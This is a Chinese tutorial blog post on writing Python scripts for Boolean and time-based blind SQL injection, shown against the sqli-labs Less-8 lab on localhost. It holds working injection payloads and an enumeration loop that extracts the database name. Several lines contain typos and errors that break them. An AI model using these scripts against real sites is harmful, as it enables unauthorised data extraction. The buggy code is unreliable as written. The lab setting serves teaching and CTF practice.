ctf-使用python进行sql布尔盲注exp的编写
exp编写
- poc:验证漏洞是否存在的程序
- exp:利用exp能够实现漏洞的利用价值
sql注入
本篇需要了解sql注入的原理再食用
布尔盲注
人工布尔盲注可以通过页面的返回界面不同来辨别and拼接的内容真或假,如果是用程序判别,可以根据返回包的长度不同和对返回内容进行正则匹配
如sqli-labs的less-8:
#!/usr/bin/python
database_name = ''
import requests
url="http://127.0.0.1/sqli-labs-master/Less-8/?id=1"
def exp(payload_url):
rep = requests.get(payload_url)#将payload进行get请求
rep_len = len(rep.text)#返回包长度
return rep_len
if __name__ == "__main__":
normal_rep = requests.get(url)
normal_len = len(normal_rep.text)
for i in range(1,20):
length_payload = "\' and length(database())="+str(i)+"%23"#在id=1后面添加and判断数据库名长度,布尔盲注的流程
payload_url = url+length_payload
result_len = exp(payoad_url)
if(resulet_len == normal_len):#判断当数据库长度正确时,返回包的长度和正常(也就是if为真的正确界面)时的返回包不同
print "The database length is %d".% i
break
exp(payload_url)
上述python脚本只判断了数据库的长度,后面的流程应该是分割字符在ascii字符中进行逐个验证得到数据库名。那在main函数内再加一个if验证函数
如下:
for x in range(1,i+1):#i为前面测出来的数据库长度
for y in string.ascii_lowercase:
char_payload = "\' and substr(database(),"+str(x)+",1)=\''"+y+"\'%23"#盲注测数据库名的流程
payload_url = url+char_payload
result_len = exp(payload_url)
if(result_len == normal_len):
database_name += y#对正确y的字符进行拼接
print "The database name is %s" % database_name
break
后续的查表个数,表长度,表名就不列举了
可以看到py脚本写sql盲注只需要多一个Get请求函数和枚举对照就行了。
时间盲注
需要用到python的try···except···
来判断if(sleep)
的响应情况。而python内有一个调试函数
Exception:用在except里,表示常规错误的基类
所以在请求函数里加一个判断异常
def timeOut(url):
try:
res = request.get(url,timeout=3)#timeout>3则exception触发
return res.text
except Exception as e:
return "timeout"
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通